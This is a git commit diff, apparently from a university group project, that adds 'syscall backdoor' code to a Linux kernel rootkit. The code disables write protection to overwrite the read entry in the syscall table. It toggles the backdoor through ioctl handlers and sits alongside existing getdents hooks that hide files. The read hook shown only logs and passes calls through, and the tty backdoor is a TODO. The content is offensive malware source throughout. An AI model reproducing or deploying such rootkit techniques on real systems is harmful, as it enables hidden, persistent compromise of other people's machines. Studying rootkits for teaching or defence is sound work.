commit 31f64ebd7cdff01f0905b58499c2f54ec2a8bd99
parent 4942bb9bbe37f01be3374a4755b65d92433d9973
Author: deurzen <m.deurzen@tum.de>
Date: Fri, 27 Nov 2020 13:40:57 +0100
adds initial syscall backdoor code
Diffstat:
7 files changed, 112 insertions(+), 24 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -0,0 +1,27 @@
+#include "common.h"
+#include "backdoor.h"
+#include "hook.h"
+
+void
+backdoor_read(void)
+{
+ disable_protection();
+ sys_calls[__NR_read] = (void *)g7_read;
+ enable_protection();
+}
+
+void
+backdoor_tty(void)
+{
+ disable_protection();
+ // TODO
+ enable_protection();
+}
+
+void
+disable_backdoor(void)
+{
+ disable_protection();
+ sys_calls[__NR_read] = (void *)sys_read;
+ enable_protection();
+}
diff --git a/src/backdoor.h b/src/backdoor.h
@@ -0,0 +1,8 @@
+#ifndef _GROUP7_BACKDOOR_H
+#define _GROUP7_BACKDOOR_H
+
+void backdoor_read(void);
+void backdoor_tty(void);
+void disable_backdoor(void);
+
+#endif//_GROUP7_BACKDOOR_H
diff --git a/src/channel.c b/src/channel.c
@@ -6,10 +6,11 @@
#include "channel.h"
#include "common.h"
#include "filehide.h"
+#include "backdoor.h"
#include "ioctl.h"
#include "rootkit.h"
-#define BUFLEN 4096
+#define BUFLEN 512
extern rootkit_t rootkit;
@@ -60,10 +61,10 @@ handle_filehide(unsigned long arg)
long sarg = (long)arg;
bool set = rootkit.hiding_files;
- if (sarg > 0 || !sarg && (set ^ 1)) {
+ if (sarg > 0 || (!sarg && (set ^ 1))) {
hide_files();
rootkit.hiding_files = 1;
- } else if (sarg < 0 || !sarg && !(set ^ 1)) {
+ } else if (sarg < 0 || (!sarg && !(set ^ 1))) {
unhide_files();
rootkit.hiding_files = 0;
}
@@ -104,6 +105,24 @@ handle_backdoor(unsigned long arg)
int
handle_togglebd(unsigned long arg)
{
+ char *msg;
+ long sarg = (long)arg;
+
+ if (!sarg) {
+ disable_backdoor();
+ rootkit.backdoor = BD_OFF;
+ msg = "off";
+ } else if (sarg < 0) {
+ backdoor_read();
+ rootkit.backdoor = BD_READ;
+ msg = "hooked into `read`";
+ } else if (sarg > 0) {
+ backdoor_tty();
+ rootkit.backdoor = BD_TTY;
+ msg = "hooked into `{p,t}ty`";
+ }
+
+ DEBUG_NOTICE("backdoor %s\n", msg);
return 0;
}
diff --git a/src/g7.c b/src/g7.c
@@ -10,7 +10,6 @@
#include "ioctl.h"
#include "channel.h"
#include "common.h"
-#include "hook.h"
#include "rootkit.h"
#define BUFLEN 4096
@@ -19,11 +18,11 @@
static int __init g7_init(void);
static void __exit g7_exit(void);
-static int g7_open(struct inode *, struct file *);
-static int g7_release(struct inode *, struct file *);
-static ssize_t g7_read(struct file *, char __user *, size_t, loff_t *);
-static ssize_t g7_write(struct file *, const char *, size_t, loff_t *);
-static long g7_ioctl(struct file *, unsigned, unsigned long);
+static int g7_fops_open(struct inode *, struct file *);
+static int g7_fops_release(struct inode *, struct file *);
+static ssize_t g7_fops_read(struct file *, char __user *, size_t, loff_t *);
+static ssize_t g7_fops_write(struct file *, const char *, size_t, loff_t *);
+static long g7_fops_ioctl(struct file *, unsigned, unsigned long);
static struct mutex lock;
@@ -32,54 +31,55 @@ static char buf[BUFLEN];
static struct file_operations g7_fops =
{
.owner = THIS_MODULE,
- .read = g7_read,
- .write = g7_write,
- .open = g7_open,
- .unlocked_ioctl = g7_ioctl,
- .release = g7_release,
+ .read = g7_fops_read,
+ .write = g7_fops_write,
+ .open = g7_fops_open,
+ .unlocked_ioctl = g7_fops_ioctl,
+ .release = g7_fops_release,
};
rootkit_t rootkit = {
.hiding_files = true,
+ .backdoor = BD_READ,
};
static int
-g7_open(struct inode *inode, struct file *file)
+g7_fops_open(struct inode *inode, struct file *file)
{
mutex_lock(&lock);
- DEBUG_INFO("[g7_open]\n");
+ DEBUG_INFO("[g7_fops_open]\n");
return 0;
}
static int
-g7_release(struct inode *inode, struct file *file)
+g7_fops_release(struct inode *inode, struct file *file)
{
- DEBUG_INFO("[g7_release]\n");
+ DEBUG_INFO("[g7_fops_release]\n");
mutex_unlock(&lock);
return 0;
}
static ssize_t
-g7_read(struct file *file, char __user *buf, size_t len, loff_t *off)
+g7_fops_read(struct file *file, char __user *buf, size_t len, loff_t *off)
{
- DEBUG_INFO("[g7_read]\n");
+ DEBUG_INFO("[g7_fops_read]\n");
return 0;
}
static ssize_t
-g7_write(struct file *file, const char __user *buf, size_t len, loff_t *off)
+g7_fops_write(struct file *file, const char __user *buf, size_t len, loff_t *off)
{
- DEBUG_INFO("[g7_write]\n");
+ DEBUG_INFO("[g7_fops_write]\n");
return 0;
}
static long
-g7_ioctl(struct file *_file, unsigned cmd, unsigned long arg)
+g7_fops_ioctl(struct file *_file, unsigned cmd, unsigned long arg)
{
channel_t c = detect_channel(cmd);
- DEBUG_NOTICE("[g7_ioctl] on %#10x (%s)\n", cmd, c.name);
+ DEBUG_NOTICE("[g7_fops_ioctl] on %#10x (%s)\n", cmd, c.name);
if (c.handler)
return c.handler(arg);
diff --git a/src/hook.c b/src/hook.c
@@ -9,14 +9,17 @@
#include "hook.h"
#include "rootkit.h"
#include "filehide.h"
+#include "backdoor.h"
extern rootkit_t rootkit;
void **sys_calls;
+atomic_t read_count;
atomic_t getdents_count;
atomic_t getdents64_count;
+asmlinkage ssize_t (*sys_read)(int, void *, size_t);
asmlinkage long (*sys_getdents)(const struct pt_regs *);
asmlinkage long (*sys_getdents64)(const struct pt_regs *);
@@ -37,6 +40,9 @@ retrieve_sys_call_table(void)
void
init_hooks(void)
{
+ atomic_set(&read_count, 0);
+ sys_read = (void *)sys_calls[__NR_read];
+
atomic_set(&getdents_count, 0);
sys_getdents = (void *)sys_calls[__NR_getdents];
@@ -45,6 +51,11 @@ init_hooks(void)
if (rootkit.hiding_files)
hide_files();
+
+ if (rootkit.backdoor == BD_READ)
+ backdoor_read();
+ else if (rootkit.backdoor == BD_TTY)
+ backdoor_tty();
}
void
@@ -61,6 +72,13 @@ remove_hooks(void)
sys_calls[__NR_getdents64] = (void *)sys_getdents64;
enable_protection();
}
+
+ if (rootkit.backdoor != BD_OFF) {
+ while (atomic_read(&read_count) > 0);
+ disable_protection();
+ sys_calls[__NR_read] = (void *)sys_read;
+ enable_protection();
+ }
}
void
@@ -76,6 +94,13 @@ enable_protection(void)
}
+asmlinkage ssize_t
+g7_read(int fd, void *buf, size_t count)
+{
+ DEBUG_INFO("testing g7_read\n");
+ return sys_read(fd, buf, count);
+}
+
// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12
asmlinkage long
diff --git a/src/hook.h b/src/hook.h
@@ -13,6 +13,7 @@ typedef struct {
void *orig;
} sc_hook_t;
+extern asmlinkage ssize_t (*sys_read)(int, void *, size_t);
extern asmlinkage long (*sys_getdents)(const struct pt_regs *);
extern asmlinkage long (*sys_getdents64)(const struct pt_regs *);
@@ -24,6 +25,7 @@ void disable_protection(void);
void enable_protection(void);
// hooks
+asmlinkage ssize_t g7_read(int, void *, size_t);
asmlinkage long g7_getdents(const struct pt_regs *);
asmlinkage long g7_getdents64(const struct pt_regs *);
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -3,9 +3,16 @@
#include "hook.h"
+typedef enum {
+ BD_OFF = 0,
+ BD_READ,
+ BD_TTY,
+} bd_state_t;
+
typedef struct {
sc_hook_t hooks[16];
bool hiding_files;
+ bd_state_t backdoor;
} rootkit_t;
#endif//_GROUP7_ROOTKIT_H